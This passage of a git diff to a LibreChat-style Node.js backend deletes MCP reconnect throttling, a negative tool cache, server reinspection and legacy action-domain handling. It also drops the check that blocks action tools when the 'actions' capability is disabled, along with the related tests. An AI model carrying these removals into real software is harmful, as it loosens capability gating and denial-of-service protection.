- /** @type {typeof getLocalFileStream | null} */
- getDownloadStream: null,
- handleFileUpload: parseDocument,
-});
-
// Strategy Selector
const getStrategyFunctions = (fileSource) => {
if (fileSource === FileSources.firebase) {
@@ -291,8 +270,6 @@ const getStrategyFunctions = (fileSource) => {
return azureMistralOCRStrategy();
} else if (fileSource === FileSources.vertexai_mistral_ocr) {
return vertexMistralOCRStrategy();
- } else if (fileSource === FileSources.document_parser) {
- return documentParserStrategy();
} else if (fileSource === FileSources.text) {
return localStrategy(); // Text files use local strategy
} else {
diff --git a/api/server/services/GraphTokenService.js b/api/server/services/GraphTokenService.js
index 843adbe5a2..d5cd6a94f2 100644
--- a/api/server/services/GraphTokenService.js
+++ b/api/server/services/GraphTokenService.js
@@ -7,7 +7,7 @@ const getLogStores = require('~/cache/getLogStores');
/**
* Get Microsoft Graph API token using existing token exchange mechanism
* @param {Object} user - User object with OpenID information
- * @param {string} accessToken - Federated access token used as OBO assertion
+ * @param {string} accessToken - Current access token from Authorization header
* @param {string} scopes - Graph API scopes for the token
* @param {boolean} fromCache - Whether to try getting token from cache first
* @returns {Promise} Graph API token response with access_token and expires_in
diff --git a/api/server/services/MCP.js b/api/server/services/MCP.js
index c66eb0b6ef..ad1f9f5cc3 100644
--- a/api/server/services/MCP.js
+++ b/api/server/services/MCP.js
@@ -34,55 +34,6 @@ const { reinitMCPServer } = require('./Tools/mcp');
const { getAppConfig } = require('./Config');
const { getLogStores } = require('~/cache');
-const MAX_CACHE_SIZE = 1000;
-const lastReconnectAttempts = new Map();
-const RECONNECT_THROTTLE_MS = 10_000;
-
-const missingToolCache = new Map();
-const MISSING_TOOL_TTL_MS = 10_000;
-
-function evictStale(map, ttl) {
- if (map.size <= MAX_CACHE_SIZE) {
- return;
- }
- const now = Date.now();
- for (const [key, timestamp] of map) {
- if (now - timestamp >= ttl) {
- map.delete(key);
- }
- if (map.size <= MAX_CACHE_SIZE) {
- return;
- }
- }
-}
-
-const unavailableMsg =
- "This tool's MCP server is temporarily unavailable. Please try again shortly.";
-
-/**
- * @param {string} toolName
- * @param {string} serverName
- */
-function createUnavailableToolStub(toolName, serverName) {
- const normalizedToolKey = `${toolName}${Constants.mcp_delimiter}${normalizeServerName(serverName)}`;
- const _call = async () => [unavailableMsg, null];
- const toolInstance = tool(_call, {
- schema: {
- type: 'object',
- properties: {
- input: { type: 'string', description: 'Input for the tool' },
- },
- required: [],
- },
- name: normalizedToolKey,
- description: unavailableMsg,
- responseFormat: AgentConstants.CONTENT_AND_ARTIFACT,
- });
- toolInstance.mcp = true;
- toolInstance.mcpRawServerName = serverName;
- return toolInstance;
-}
-
function isEmptyObjectSchema(jsonSchema) {
return (
jsonSchema != null &&
@@ -260,17 +211,6 @@ async function reconnectServer({
logger.debug(
`[MCP][reconnectServer] serverName: ${serverName}, user: ${user?.id}, hasUserMCPAuthMap: ${!!userMCPAuthMap}`,
);
-
- const throttleKey = `${user.id}:${serverName}`;
- const now = Date.now();
- const lastAttempt = lastReconnectAttempts.get(throttleKey) ?? 0;
- if (now - lastAttempt < RECONNECT_THROTTLE_MS) {
- logger.debug(`[MCP][reconnectServer] Throttled reconnect for ${serverName}`);
- return null;
- }
- lastReconnectAttempts.set(throttleKey, now);
- evictStale(lastReconnectAttempts, RECONNECT_THROTTLE_MS);
-
const runId = Constants.USE_PRELIM_RESPONSE_MESSAGE_ID;
const flowId = `${user.id}:${serverName}:${Date.now()}`;
const flowManager = getFlowStateManager(getLogStores(CacheKeys.FLOWS));
@@ -327,7 +267,7 @@ async function reconnectServer({
userMCPAuthMap,
forceNew: true,
returnOnOAuth: false,
- connectionTimeout: Time.THIRTY_SECONDS,
+ connectionTimeout: Time.TWO_MINUTES,
});
} finally {
// Clean up abort handler to prevent memory leaks
@@ -390,13 +330,9 @@ async function createMCPTools({
userMCPAuthMap,
streamId,
});
- if (result === null) {
- logger.debug(`[MCP][${serverName}] Reconnect throttled, skipping tool creation.`);
- return [];
- }
if (!result || !result.tools) {
logger.warn(`[MCP][${serverName}] Failed to reinitialize MCP server.`);
- return [];
+ return;
}
const serverTools = [];
@@ -466,14 +402,6 @@ async function createMCPTool({
/** @type {LCTool | undefined} */
let toolDefinition = availableTools?.[toolKey]?.function;
if (!toolDefinition) {
- const cachedAt = missingToolCache.get(toolKey);
- if (cachedAt && Date.now() - cachedAt < MISSING_TOOL_TTL_MS) {
- logger.debug(
- `[MCP][${serverName}][${toolName}] Tool in negative cache, returning unavailable stub.`,
- );
- return createUnavailableToolStub(toolName, serverName);
- }
-
logger.warn(
`[MCP][${serverName}][${toolName}] Requested tool not found in available tools, re-initializing MCP server.`,
);
@@ -487,18 +415,11 @@ async function createMCPTool({
streamId,
});
toolDefinition = result?.availableTools?.[toolKey]?.function;
-
- if (!toolDefinition) {
- missingToolCache.set(toolKey, Date.now());
- evictStale(missingToolCache, MISSING_TOOL_TTL_MS);
- }
}
if (!toolDefinition) {
- logger.warn(
- `[MCP][${serverName}][${toolName}] Tool definition not found, returning unavailable stub.`,
- );
- return createUnavailableToolStub(toolName, serverName);
+ logger.warn(`[MCP][${serverName}][${toolName}] Tool definition not found, cannot create tool.`);
+ return;
}
return createToolInstance({
@@ -799,5 +720,4 @@ module.exports = {
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
- createUnavailableToolStub,
};
diff --git a/api/server/services/MCP.spec.js b/api/server/services/MCP.spec.js
index 14a9ef90ed..b2caebc91e 100644
--- a/api/server/services/MCP.spec.js
+++ b/api/server/services/MCP.spec.js
@@ -45,7 +45,6 @@ const {
getMCPSetupData,
checkOAuthFlowStatus,
getServerConnectionStatus,
- createUnavailableToolStub,
} = require('./MCP');
jest.mock('./Config', () => ({
@@ -1099,188 +1098,6 @@ describe('User parameter passing tests', () => {
});
});
- describe('createUnavailableToolStub', () => {
- it('should return a tool whose _call returns a valid CONTENT_AND_ARTIFACT two-tuple', async () => {
- const stub = createUnavailableToolStub('myTool', 'myServer');
- // invoke() goes through langchain's base tool, which checks responseFormat.
- // CONTENT_AND_ARTIFACT requires [content, artifact] — a bare string would throw:
- // "Tool response format is "content_and_artifact" but the output was not a two-tuple"
- const result = await stub.invoke({});
- // If we reach here without throwing, the two-tuple format is correct.
- // invoke() returns the content portion of [content, artifact] as a string.
- expect(result).toContain('temporarily unavailable');
- });
- });
-
- describe('negative tool cache and throttle interaction', () => {
- it('should cache tool as missing even when throttled (cross-user dedup)', async () => {
- const mockUser = { id: 'throttle-test-user' };
- const mockRes = { write: jest.fn(), flush: jest.fn() };
-
- // First call: reconnect succeeds but tool not found
- mockReinitMCPServer.mockResolvedValueOnce({
- availableTools: {},
- });
-
- await createMCPTool({
- res: mockRes,
- user: mockUser,
- toolKey: `missing-tool${D}cache-dedup-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- // Second call within 10s for DIFFERENT tool on same server:
- // reconnect is throttled (returns null), tool is still cached as missing.
- // This is intentional: the cache acts as cross-user dedup since the
- // throttle is per-user-per-server and can't prevent N different users
- // from each triggering their own reconnect.
- const result2 = await createMCPTool({
- res: mockRes,
- user: mockUser,
- toolKey: `other-tool${D}cache-dedup-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- expect(result2).toBeDefined();
- expect(result2.name).toContain('other-tool');
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
- });
-
- it('should prevent user B from triggering reconnect when user A already cached the tool', async () => {
- const userA = { id: 'cache-user-A' };
- const userB = { id: 'cache-user-B' };
- const mockRes = { write: jest.fn(), flush: jest.fn() };
-
- // User A: real reconnect, tool not found → cached
- mockReinitMCPServer.mockResolvedValueOnce({
- availableTools: {},
- });
-
- await createMCPTool({
- res: mockRes,
- user: userA,
- toolKey: `shared-tool${D}cross-user-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
-
- // User B requests the SAME tool within 10s.
- // The negative cache is keyed by toolKey (no user prefix), so user B
- // gets a cache hit and no reconnect fires. This is the cross-user
- // storm protection: without this, user B's unthrottled first request
- // would trigger a second reconnect to the same server.
- const result = await createMCPTool({
- res: mockRes,
- user: userB,
- toolKey: `shared-tool${D}cross-user-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- expect(result).toBeDefined();
- expect(result.name).toContain('shared-tool');
- // reinitMCPServer still called only once — user B hit the cache
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
- });
-
- it('should prevent user B from triggering reconnect for throttle-cached tools', async () => {
- const userA = { id: 'storm-user-A' };
- const userB = { id: 'storm-user-B' };
- const mockRes = { write: jest.fn(), flush: jest.fn() };
-
- // User A: real reconnect for tool-1, tool not found → cached
- mockReinitMCPServer.mockResolvedValueOnce({
- availableTools: {},
- });
-
- await createMCPTool({
- res: mockRes,
- user: userA,
- toolKey: `tool-1${D}storm-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- // User A: tool-2 on same server within 10s → throttled → cached from throttle
- await createMCPTool({
- res: mockRes,
- user: userA,
- toolKey: `tool-2${D}storm-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
-
- // User B requests tool-2 — gets cache hit from the throttle-cached entry.
- // Without this caching, user B would trigger a real reconnect since
- // user B has their own throttle key and hasn't reconnected yet.
- const result = await createMCPTool({
- res: mockRes,
- user: userB,
- toolKey: `tool-2${D}storm-server`,
- provider: 'openai',
- userMCPAuthMap: {},
- availableTools: undefined,
- });
-
- expect(result).toBeDefined();
- expect(result.name).toContain('tool-2');
- // Still only 1 real reconnect — user B was protected by the cache
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
- });
- });
-
- describe('createMCPTools throttle handling', () => {
- it('should return empty array with debug log when reconnect is throttled', async () => {
- const mockUser = { id: 'throttle-tools-user' };
- const mockRes = { write: jest.fn(), flush: jest.fn() };
-
- // First call: real reconnect
- mockReinitMCPServer.mockResolvedValueOnce({
- tools: [{ name: 'tool1' }],
- availableTools: {
- [`tool1${D}throttle-tools-server`]: {
- function: { description: 'Tool 1', parameters: {} },
- },
- },
- });
-
- await createMCPTools({
- res: mockRes,
- user: mockUser,
- serverName: 'throttle-tools-server',
- provider: 'openai',
- userMCPAuthMap: {},
- });
-
- // Second call within 10s — throttled
- const result = await createMCPTools({
- res: mockRes,
- user: mockUser,
- serverName: 'throttle-tools-server',
- provider: 'openai',
- userMCPAuthMap: {},
- });
-
- expect(result).toEqual([]);
- // reinitMCPServer called only once — second was throttled
- expect(mockReinitMCPServer).toHaveBeenCalledTimes(1);
- // Should log at debug level (not warn) for throttled case
- expect(logger.debug).toHaveBeenCalledWith(expect.stringContaining('Reconnect throttled'));
- });
- });
-
describe('User parameter integrity', () => {
it('should preserve user object properties through the call chain', async () => {
const complexUser = {
diff --git a/api/server/services/PermissionService.js b/api/server/services/PermissionService.js
index ba1ef68032..a843f48f6f 100644
--- a/api/server/services/PermissionService.js
+++ b/api/server/services/PermissionService.js
@@ -1,12 +1,7 @@
const mongoose = require('mongoose');
const { isEnabled } = require('@librechat/api');
const { getTransactionSupport, logger } = require('@librechat/data-schemas');
-const {
- ResourceType,
- PrincipalType,
- PrincipalModel,
- PermissionBits,
-} = require('librechat-data-provider');
+const { ResourceType, PrincipalType, PrincipalModel } = require('librechat-data-provider');
const {
entraIdPrincipalFeatureEnabled,
getUserOwnedEntraGroups,
@@ -804,49 +799,6 @@ const bulkUpdateResourcePermissions = async ({
}
};
-/**
- * Returns resource IDs where the given user is the sole owner
- * (no other principal holds the DELETE bit on the same resource).
- * @param {mongoose.Types.ObjectId} userObjectId
- * @param {string|string[]} resourceTypes - One or more ResourceType values.
- * @returns {Promise}
- */
-const getSoleOwnedResourceIds = async (userObjectId, resourceTypes) => {
- const types = Array.isArray(resourceTypes) ? resourceTypes : [resourceTypes];
- const ownedEntries = await AclEntry.find({
- principalType: PrincipalType.USER,
- principalId: userObjectId,
- resourceType: { $in: types },
- permBits: { $bitsAllSet: PermissionBits.DELETE },
- })
- .select('resourceId')
- .lean();
-
- if (ownedEntries.length === 0) {
- return [];
- }
-
- const ownedIds = ownedEntries.map((e) => e.resourceId);
-
- const otherOwners = await AclEntry.aggregate([
- {
- $match: {
- resourceType: { $in: types },
- resourceId: { $in: ownedIds },
- permBits: { $bitsAllSet: PermissionBits.DELETE },
- $or: [
- { principalId: { $ne: userObjectId } },
- { principalType: { $ne: PrincipalType.USER } },
- ],
- },
- },
- { $group: { _id: '$resourceId' } },
- ]);
-
- const multiOwnerIds = new Set(otherOwners.map((doc) => doc._id.toString()));
- return ownedIds.filter((id) => !multiOwnerIds.has(id.toString()));
-};
-
/**
* Remove all permissions for a resource (cleanup when resource is deleted)
* @param {Object} params - Parameters for removing all permissions
@@ -887,6 +839,5 @@ module.exports = {
ensurePrincipalExists,
ensureGroupPrincipalExists,
syncUserEntraGroupMemberships,
- getSoleOwnedResourceIds,
removeAllPermissions,
};
diff --git a/api/server/services/ToolService.js b/api/server/services/ToolService.js
index ca75e7eb4f..eedb95bd4d 100644
--- a/api/server/services/ToolService.js
+++ b/api/server/services/ToolService.js
@@ -12,6 +12,7 @@ const {
const {
sendEvent,
getToolkitKey,
+ hasCustomUserVars,
getUserMCPAuthMap,
loadToolDefinitions,
GenerationJobManager,
@@ -42,7 +43,6 @@ const {
} = require('librechat-data-provider');
const {
createActionTool,
- legacyDomainEncode,
decryptMetadata,
loadActionSets,
domainParser,
@@ -65,28 +65,6 @@ const { redactMessage } = require('~/config/parsers');
const { findPluginAuthsByKeys } = require('~/models');
const { getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache');
-
-const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
-
-/**
- * Resolves the set of enabled agent capabilities from endpoints config,
- * falling back to app-level or default capabilities for ephemeral agents.
- * @param {ServerRequest} req
- * @param {Object} appConfig
- * @param {string} agentId
- * @returns {Promise>}
- */
-async function resolveAgentCapabilities(req, appConfig, agentId) {
- const endpointsConfig = await getEndpointsConfig(req);
- let capabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
- if (capabilities.size === 0 && isEphemeralAgentId(agentId)) {
- capabilities = new Set(
- appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
- );
- }
- return capabilities;
-}
-
/**
* Processes the required actions by calling the appropriate tools and returning the outputs.
* @param {OpenAIClient} client - OpenAI or StreamRunManager Client.
@@ -175,7 +153,8 @@ async function processRequiredActions(client, requiredActions) {
const promises = [];
- let actionSetsData = null;
+ /** @type {Action[]} */
+ let actionSets = [];
let isActionTool = false;
const ActionToolMap = {};
const ActionBuildersMap = {};
@@ -261,9 +240,9 @@ async function processRequiredActions(client, requiredActions) {
if (!tool) {
// throw new Error(`Tool ${currentAction.tool} not found.`);
- if (!actionSetsData) {
- /** @type {Action[]} */
- const actionSets =
+ // Load all action sets once if not already loaded
+ if (!actionSets.length) {
+ actionSets =
(await loadActionSets({
assistant_id: client.req.body.assistant_id,
})) ?? [];
@@ -271,16 +250,11 @@ async function processRequiredActions(client, requiredActions) {
// Process all action sets once
// Map domains to their processed action sets
const processedDomains = new Map();
- const domainLookupMap = new Map();
+ const domainMap = new Map();
for (const action of actionSets) {
const domain = await domainParser(action.metadata.domain, true);
- domainLookupMap.set(domain, domain);
-
- const legacyDomain = legacyDomainEncode(action.metadata.domain);
- if (legacyDomain !== domain) {
- domainLookupMap.set(legacyDomain, domain);
- }
+ domainMap.set(domain, action);
const isDomainAllowed = await isActionDomainAllowed(
action.metadata.domain,
@@ -335,26 +309,27 @@ async function processRequiredActions(client, requiredActions) {
ActionBuildersMap[action.metadata.domain] = requestBuilders;
}
- actionSetsData = { domainLookupMap, processedDomains };
+ // Update actionSets reference to use the domain map
+ actionSets = { domainMap, processedDomains };
}
+ // Find the matching domain for this tool
let currentDomain = '';
- let matchedKey = '';
- for (const [key, canonical] of actionSetsData.domainLookupMap.entries()) {
- if (currentAction.tool.includes(key)) {
- currentDomain = canonical;
- matchedKey = key;
+ for (const domain of actionSets.domainMap.keys()) {
+ if (currentAction.tool.includes(domain)) {
+ currentDomain = domain;
break;
}
}
- if (!currentDomain || !actionSetsData.processedDomains.has(currentDomain)) {
+ if (!currentDomain || !actionSets.processedDomains.has(currentDomain)) {
+ // TODO: try `function` if no action set is found
+ // throw new Error(`Tool ${currentAction.tool} not found.`);
continue;
}
- const { action, requestBuilders, encrypted } =
- actionSetsData.processedDomains.get(currentDomain);
- const functionName = currentAction.tool.replace(`${actionDelimiter}${matchedKey}`, '');
+ const { action, requestBuilders, encrypted } = actionSets.processedDomains.get(currentDomain);
+ const functionName = currentAction.tool.replace(`${actionDelimiter}${currentDomain}`, '');
const requestBuilder = requestBuilders[functionName];
if (!requestBuilder) {
@@ -471,11 +446,17 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
}
const appConfig = req.config;
- const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent.id);
+ const endpointsConfig = await getEndpointsConfig(req);
+ let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
+
+ if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) {
+ enabledCapabilities = new Set(
+ appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
+ );
+ }
const checkCapability = (capability) => enabledCapabilities.has(capability);
const areToolsEnabled = checkCapability(AgentCapabilities.tools);
- const actionsEnabled = checkCapability(AgentCapabilities.actions);
const deferredToolsEnabled = checkCapability(AgentCapabilities.deferred_tools);
const filteredTools = agent.tools?.filter((tool) => {
@@ -488,10 +469,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
if (tool === Tools.web_search) {
return checkCapability(AgentCapabilities.web_search);
}
- if (tool.includes(actionDelimiter)) {
- return actionsEnabled;
- }
- if (!areToolsEnabled) {
+ if (!areToolsEnabled && !tool.includes(actionDelimiter)) {
return false;
}
return true;
@@ -503,7 +481,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
/** @type {Record>} */
let userMCPAuthMap;
- if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
+ if (hasCustomUserVars(req.config)) {
userMCPAuthMap = await getUserMCPAuthMap({
tools: agent.tools,
userId: req.user.id,
@@ -592,17 +570,12 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
const definitions = [];
const allowedDomains = appConfig?.actions?.allowedDomains;
- const normalizedToolNames = new Set(
- actionToolNames.map((n) => n.replace(domainSeparatorRegex, '_')),
- );
+ const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
for (const action of actionSets) {
const domain = await domainParser(action.metadata.domain, true);
const normalizedDomain = domain.replace(domainSeparatorRegex, '_');
- const legacyDomain = legacyDomainEncode(action.metadata.domain);
- const legacyNormalized = legacyDomain.replace(domainSeparatorRegex, '_');
-
const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains);
if (!isDomainAllowed) {
logger.warn(
@@ -622,8 +595,7 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
for (const sig of functionSignatures) {
const toolName = `${sig.name}${actionDelimiter}${normalizedDomain}`;
- const legacyToolName = `${sig.name}${actionDelimiter}${legacyNormalized}`;
- if (!normalizedToolNames.has(toolName) && !normalizedToolNames.has(legacyToolName)) {
+ if (!actionToolNames.some((name) => name.replace(domainSeparatorRegex, '_') === toolName)) {
continue;
}
@@ -794,7 +766,6 @@ async function loadToolDefinitionsWrapper({ req, res, agent, streamId = null, to
toolContextMap,
toolDefinitions,
hasDeferredTools,
- actionsEnabled,
};
}
@@ -838,7 +809,14 @@ async function loadAgentTools({
}
const appConfig = req.config;
- const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent.id);
+ const endpointsConfig = await getEndpointsConfig(req);
+ let enabledCapabilities = new Set(endpointsConfig?.[EModelEndpoint.agents]?.capabilities ?? []);
+ /** Edge case: use defined/fallback capabilities when the "agents" endpoint is not enabled */
+ if (enabledCapabilities.size === 0 && isEphemeralAgentId(agent.id)) {
+ enabledCapabilities = new Set(
+ appConfig.endpoints?.[EModelEndpoint.agents]?.capabilities ?? defaultAgentCapabilities,
+ );
+ }
const checkCapability = (capability) => {
const enabled = enabledCapabilities.has(capability);
if (!enabled) {
@@ -855,7 +833,6 @@ async function loadAgentTools({
return enabled;
};
const areToolsEnabled = checkCapability(AgentCapabilities.tools);
- const actionsEnabled = checkCapability(AgentCapabilities.actions);
let includesWebSearch = false;
const _agentTools = agent.tools?.filter((tool) => {
@@ -866,9 +843,7 @@ async function loadAgentTools({
} else if (tool === Tools.web_search) {
includesWebSearch = checkCapability(AgentCapabilities.web_search);
return includesWebSearch;
- } else if (tool.includes(actionDelimiter)) {
- return actionsEnabled;
- } else if (!areToolsEnabled) {
+ } else if (!areToolsEnabled && !tool.includes(actionDelimiter)) {
return false;
}
return true;
@@ -885,7 +860,8 @@ async function loadAgentTools({
/** @type {Record>} */
let userMCPAuthMap;
- if (agent.tools?.some((t) => t.includes(Constants.mcp_delimiter))) {
+ //TODO pass config from registry
+ if (hasCustomUserVars(req.config)) {
userMCPAuthMap = await getUserMCPAuthMap({
tools: agent.tools,
userId: req.user.id,
@@ -973,15 +949,13 @@ async function loadAgentTools({
agentTools.push(...additionalTools);
- const hasActionTools = _agentTools.some((t) => t.includes(actionDelimiter));
- if (!hasActionTools) {
+ if (!checkCapability(AgentCapabilities.actions)) {
return {
toolRegistry,
userMCPAuthMap,
toolContextMap,
toolDefinitions,
hasDeferredTools,
- actionsEnabled,
tools: agentTools,
};
}
@@ -997,22 +971,19 @@ async function loadAgentTools({
toolContextMap,
toolDefinitions,
hasDeferredTools,
- actionsEnabled,
tools: agentTools,
};
}
+ // Process each action set once (validate spec, decrypt metadata)
const processedActionSets = new Map();
- const domainLookupMap = new Map();
+ const domainMap = new Map();
for (const action of actionSets) {
const domain = await domainParser(action.metadata.domain, true);
- domainLookupMap.set(domain, domain);
+ domainMap.set(domain, action);
- const legacyDomain = legacyDomainEncode(action.metadata.domain);
- if (legacyDomain !== domain) {
- domainLookupMap.set(legacyDomain, domain);
- }
+ // Check if domain is allowed (do this once per action set)
const isDomainAllowed = await isActionDomainAllowed(
action.metadata.domain,
appConfig?.actions?.allowedDomains,
@@ -1074,12 +1045,11 @@ async function loadAgentTools({
continue;
}
+ // Find the matching domain for this tool
let currentDomain = '';
- let matchedKey = '';
- for (const [key, canonical] of domainLookupMap.entries()) {
- if (toolName.includes(key)) {
- currentDomain = canonical;
- matchedKey = key;
+ for (const domain of domainMap.keys()) {
+ if (toolName.includes(domain)) {
+ currentDomain = domain;
break;
}
}
@@ -1090,7 +1060,7 @@ async function loadAgentTools({
const { action, encrypted, zodSchemas, requestBuilders, functionSignatures } =
processedActionSets.get(currentDomain);
- const functionName = toolName.replace(`${actionDelimiter}${matchedKey}`, '');
+ const functionName = toolName.replace(`${actionDelimiter}${currentDomain}`, '');
const functionSig = functionSignatures.find((sig) => sig.name === functionName);
const requestBuilder = requestBuilders[functionName];
const zodSchema = zodSchemas[functionName];
@@ -1133,7 +1103,6 @@ async function loadAgentTools({
userMCPAuthMap,
toolDefinitions,
hasDeferredTools,
- actionsEnabled,
tools: agentTools,
};
}
@@ -1151,11 +1120,9 @@ async function loadAgentTools({
* @param {AbortSignal} [params.signal] - Abort signal
* @param {Object} params.agent - The agent object
* @param {string[]} params.toolNames - Names of tools to load
- * @param {Map} [params.toolRegistry] - Tool registry
* @param {Record>} [params.userMCPAuthMap] - User MCP auth map
* @param {Object} [params.tool_resources] - Tool resources
* @param {string|null} [params.streamId] - Stream ID for web search callbacks
- * @param {boolean} [params.actionsEnabled] - Whether the actions capability is enabled
* @returns {Promise<{ loadedTools: Array, configurable: Object }>}
*/
async function loadToolsForExecution({
@@ -1168,17 +1135,11 @@ async function loadToolsForExecution({
userMCPAuthMap,
tool_resources,
streamId = null,
- actionsEnabled,
}) {
const appConfig = req.config;
const allLoadedTools = [];
const configurable = { userMCPAuthMap };
- if (actionsEnabled === undefined) {
- const enabledCapabilities = await resolveAgentCapabilities(req, appConfig, agent?.id);
- actionsEnabled = enabledCapabilities.has(AgentCapabilities.actions);
- }
-
const isToolSearch = toolNames.includes(AgentConstants.TOOL_SEARCH);
const isPTC = toolNames.includes(AgentConstants.PROGRAMMATIC_TOOL_CALLING);
@@ -1235,6 +1196,7 @@ async function loadToolsForExecution({
const actionToolNames = allToolNamesToLoad.filter((name) => name.includes(actionDelimiter));
const regularToolNames = allToolNamesToLoad.filter((name) => !name.includes(actionDelimiter));
+ /** @type {Record} */
if (regularToolNames.length > 0) {
const includesWebSearch = regularToolNames.includes(Tools.web_search);
const webSearchCallbacks = includesWebSearch ? createOnSearchResults(res, streamId) : undefined;
@@ -1265,7 +1227,7 @@ async function loadToolsForExecution({
}
}
- if (actionToolNames.length > 0 && agent && actionsEnabled) {
+ if (actionToolNames.length > 0 && agent) {
const actionTools = await loadActionToolsForExecution({
req,
res,
@@ -1275,11 +1237,6 @@ async function loadToolsForExecution({
actionToolNames,
});
allLoadedTools.push(...actionTools);
- } else if (actionToolNames.length > 0 && agent && !actionsEnabled) {
- logger.warn(
- `[loadToolsForExecution] Capability "${AgentCapabilities.actions}" disabled. ` +
- `Skipping action tool execution. User: ${req.user.id} | Agent: ${agent.id} | Tools: ${actionToolNames.join(', ')}`,
- );
}
if (isPTC && allLoadedTools.length > 0) {
@@ -1325,20 +1282,12 @@ async function loadActionToolsForExecution({
}
const processedActionSets = new Map();
- /** Maps both new and legacy normalized domains to their canonical (new) domain key */
- const normalizedToDomain = new Map();
+ const domainMap = new Map();
const allowedDomains = appConfig?.actions?.allowedDomains;
for (const action of actionSets) {
const domain = await domainParser(action.metadata.domain, true);
- const normalizedDomain = domain.replace(domainSeparatorRegex, '_');
- normalizedToDomain.set(normalizedDomain, domain);
-
- const legacyDomain = legacyDomainEncode(action.metadata.domain);
- const legacyNormalized = legacyDomain.replace(domainSeparatorRegex, '_');
- if (legacyNormalized !== normalizedDomain) {
- normalizedToDomain.set(legacyNormalized, domain);
- }
+ domainMap.set(domain, action);
const isDomainAllowed = await isActionDomainAllowed(action.metadata.domain, allowedDomains);
if (!isDomainAllowed) {
@@ -1387,15 +1336,16 @@ async function loadActionToolsForExecution({
functionSignatures,
zodSchemas,
encrypted,
- legacyNormalized,
});
}
+ const domainSeparatorRegex = new RegExp(actionDomainSeparator, 'g');
for (const toolName of actionToolNames) {
let currentDomain = '';
- for (const [normalizedDomain, canonicalDomain] of normalizedToDomain.entries()) {
+ for (const domain of domainMap.keys()) {
+ const normalizedDomain = domain.replace(domainSeparatorRegex, '_');
if (toolName.includes(normalizedDomain)) {
- currentDomain = canonicalDomain;
+ currentDomain = domain;
break;
}
}
@@ -1404,7 +1354,7 @@ async function loadActionToolsForExecution({
continue;
}
- const { action, encrypted, zodSchemas, requestBuilders, functionSignatures, legacyNormalized } =
+ const { action, encrypted, zodSchemas, requestBuilders, functionSignatures } =
processedActionSets.get(currentDomain);
const normalizedDomain = currentDomain.replace(domainSeparatorRegex, '_');
const functionName = toolName.replace(`${actionDelimiter}${normalizedDomain}`, '');
@@ -1413,25 +1363,6 @@ async function loadActionToolsForExecution({
const zodSchema = zodSchemas[functionName];
if (!requestBuilder) {
- const legacyFnName = toolName.replace(`${actionDelimiter}${legacyNormalized}`, '');
- if (legacyFnName !== toolName && requestBuilders[legacyFnName]) {
- const legacyTool = await createActionTool({
- userId: req.user.id,
- res,
- action,
- streamId,
- encrypted,
- requestBuilder: requestBuilders[legacyFnName],
- zodSchema: zodSchemas[legacyFnName],
- name: toolName,
- description:
- functionSignatures.find((sig) => sig.name === legacyFnName)?.description ?? '',
- useSSRFProtection: !Array.isArray(allowedDomains) || allowedDomains.length === 0,
- });
- if (legacyTool) {
- loadedActionTools.push(legacyTool);
- }
- }
continue;
}
@@ -1466,5 +1397,4 @@ module.exports = {
loadAgentTools,
loadToolsForExecution,
processRequiredActions,
- resolveAgentCapabilities,
};
diff --git a/api/server/services/Tools/mcp.js b/api/server/services/Tools/mcp.js
index 7589043e10..10f2d71a18 100644
--- a/api/server/services/Tools/mcp.js
+++ b/api/server/services/Tools/mcp.js
@@ -1,8 +1,8 @@
const { logger } = require('@librechat/data-schemas');
const { CacheKeys, Constants } = require('librechat-data-provider');
-const { getMCPManager, getMCPServersRegistry, getFlowStateManager } = require('~/config');
const { findToken, createToken, updateToken, deleteTokens } = require('~/models');
const { updateMCPServerTools } = require('~/server/services/Config');
+const { getMCPManager, getFlowStateManager } = require('~/config');
const { getLogStores } = require('~/cache');
/**
@@ -41,33 +41,6 @@ async function reinitMCPServer({
let oauthUrl = null;
try {
- const registry = getMCPServersRegistry();
- const serverConfig = await registry.getServerConfig(serverName, user?.id);
- if (serverConfig?.inspectionFailed) {
- logger.info(
- `[MCP Reinitialize] Server ${serverName} had failed inspection, attempting reinspection`,
- );
- try {
- const storageLocation = serverConfig.dbId ? 'DB' : 'CACHE';
- await registry.reinspectServer(serverName, storageLocation, user?.id);
- logger.info(`[MCP Reinitialize] Reinspection succeeded for server: ${serverName}`);
- } catch (reinspectError) {
- logger.error(
- `[MCP Reinitialize] Reinspection failed for server ${serverName}:`,
- reinspectError,
- );
- return {
- availableTools: null,
- success: false,
- message: `MCP server '${serverName}' is still unreachable`,
- oauthRequired: false,
- serverName,
- oauthUrl: null,
- tools: null,
- };
- }
- }
-
